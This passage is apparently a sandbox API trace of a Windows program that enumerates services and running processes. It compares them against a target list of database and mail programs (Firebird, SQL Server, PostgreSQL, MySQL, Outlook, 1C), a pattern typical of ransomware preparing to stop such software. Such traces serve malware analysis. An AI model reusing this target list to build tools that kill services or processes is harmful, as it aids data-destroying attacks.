	[0175.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0175.670] lstrlenW (lpString="NcbService") returned 10
	[0175.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0175.670] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0175.670] lstrlenW (lpString="netprofm") returned 8
	[0175.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0175.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0175.670] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0175.811] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0175.811] lstrlenW (lpString="NgcSvc") returned 6
	[0175.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0175.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0175.811] lstrlenW (lpString="NlaSvc") returned 6
	[0175.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0175.811] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0175.811] lstrlenW (lpString="nsi") returned 3
	[0175.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0175.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0175.811] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0175.812] lstrlenW (lpString="PcaSvc") returned 6
	[0175.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0175.812] lstrlenW (lpString="PlugPlay") returned 8
	[0175.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0175.812] lstrlenW (lpString="Power") returned 5
	[0175.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0175.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0175.812] lstrlenW (lpString="ProfSvc") returned 7
	[0175.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0175.812] lstrlenW (lpString="RpcEptMapper") returned 12
	[0175.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0175.812] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0175.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0175.813] lstrlenW (lpString="RpcSs") returned 5
	[0175.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0175.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0175.813] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0175.813] lstrlenW (lpString="SamSs") returned 5
	[0175.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0175.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0175.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0175.813] lstrlenW (lpString="Schedule") returned 8
	[0175.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0175.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0175.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0175.813] lstrlenW (lpString="SecurityHealthService") returned 21
	[0175.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0175.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0175.813] lstrlenW (lpString="SENS") returned 4
	[0175.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0175.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0175.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0175.814] lstrlenW (lpString="ShellHWDetection") returned 16
	[0175.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0175.814] lstrlenW (lpString="Spooler") returned 7
	[0175.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0175.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0175.814] lstrlenW (lpString="StateRepository") returned 15
	[0175.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0175.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0175.814] lstrlenW (lpString="SysMain") returned 7
	[0175.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0175.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0175.814] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0175.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0175.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0175.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0175.815] lstrlenW (lpString="Themes") returned 6
	[0175.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0175.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0175.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0175.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0175.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0175.815] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0175.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0175.815] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0175.815] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0175.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0175.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374
	[0175.819] Process32FirstW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0175.820] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0175.820] lstrlenW (lpString="System") returned 6
	[0175.820] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0175.821] lstrlenW (lpString="smss.exe") returned 8
	[0175.821] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.821] lstrlenW (lpString="csrss.exe") returned 9
	[0175.821] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0175.822] lstrlenW (lpString="wininit.exe") returned 11
	[0175.822] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.822] lstrlenW (lpString="csrss.exe") returned 9
	[0175.822] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0175.823] lstrlenW (lpString="winlogon.exe") returned 12
	[0175.823] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0175.823] lstrlenW (lpString="services.exe") returned 12
	[0175.823] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0175.824] lstrlenW (lpString="lsass.exe") returned 9
	[0175.824] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.824] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.824] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.825] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.825] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.825] lstrlenW (lpString="svchost.exe") returned 11
	[0175.825] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.826] lstrlenW (lpString="svchost.exe") returned 11
	[0175.826] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0175.826] lstrlenW (lpString="dwm.exe") returned 7
	[0175.826] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.827] lstrlenW (lpString="svchost.exe") returned 11
	[0175.827] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.827] lstrlenW (lpString="svchost.exe") returned 11
	[0175.827] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.828] lstrlenW (lpString="svchost.exe") returned 11
	[0175.828] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.828] lstrlenW (lpString="svchost.exe") returned 11
	[0175.829] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.829] lstrlenW (lpString="svchost.exe") returned 11
	[0175.829] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.829] lstrlenW (lpString="svchost.exe") returned 11
	[0175.829] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.830] lstrlenW (lpString="svchost.exe") returned 11
	[0175.830] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.830] lstrlenW (lpString="svchost.exe") returned 11
	[0175.830] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.831] lstrlenW (lpString="svchost.exe") returned 11
	[0175.831] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.831] lstrlenW (lpString="svchost.exe") returned 11
	[0175.831] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0175.832] lstrlenW (lpString="spoolsv.exe") returned 11
	[0175.832] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.832] lstrlenW (lpString="svchost.exe") returned 11
	[0175.832] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0175.833] lstrlenW (lpString="audiodg.exe") returned 11
	[0175.833] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0175.833] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0175.833] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0175.834] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0175.834] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0175.834] lstrlenW (lpString="Memory Compression") returned 18
	[0175.834] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0175.835] lstrlenW (lpString="sihost.exe") returned 10
	[0175.835] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.835] lstrlenW (lpString="svchost.exe") returned 11
	[0175.835] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.836] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.836] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.836] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.836] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0175.837] lstrlenW (lpString="explorer.exe") returned 12
	[0175.837] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0175.837] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0175.837] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0175.841] lstrlenW (lpString="SearchUI.exe") returned 12
	[0175.869] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0175.870] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0175.870] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1
	[0175.870] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1
	[0175.870] Process32NextW (in: hSnapshot=0x374, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0175.871] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0175.871] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1
	[0175.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1
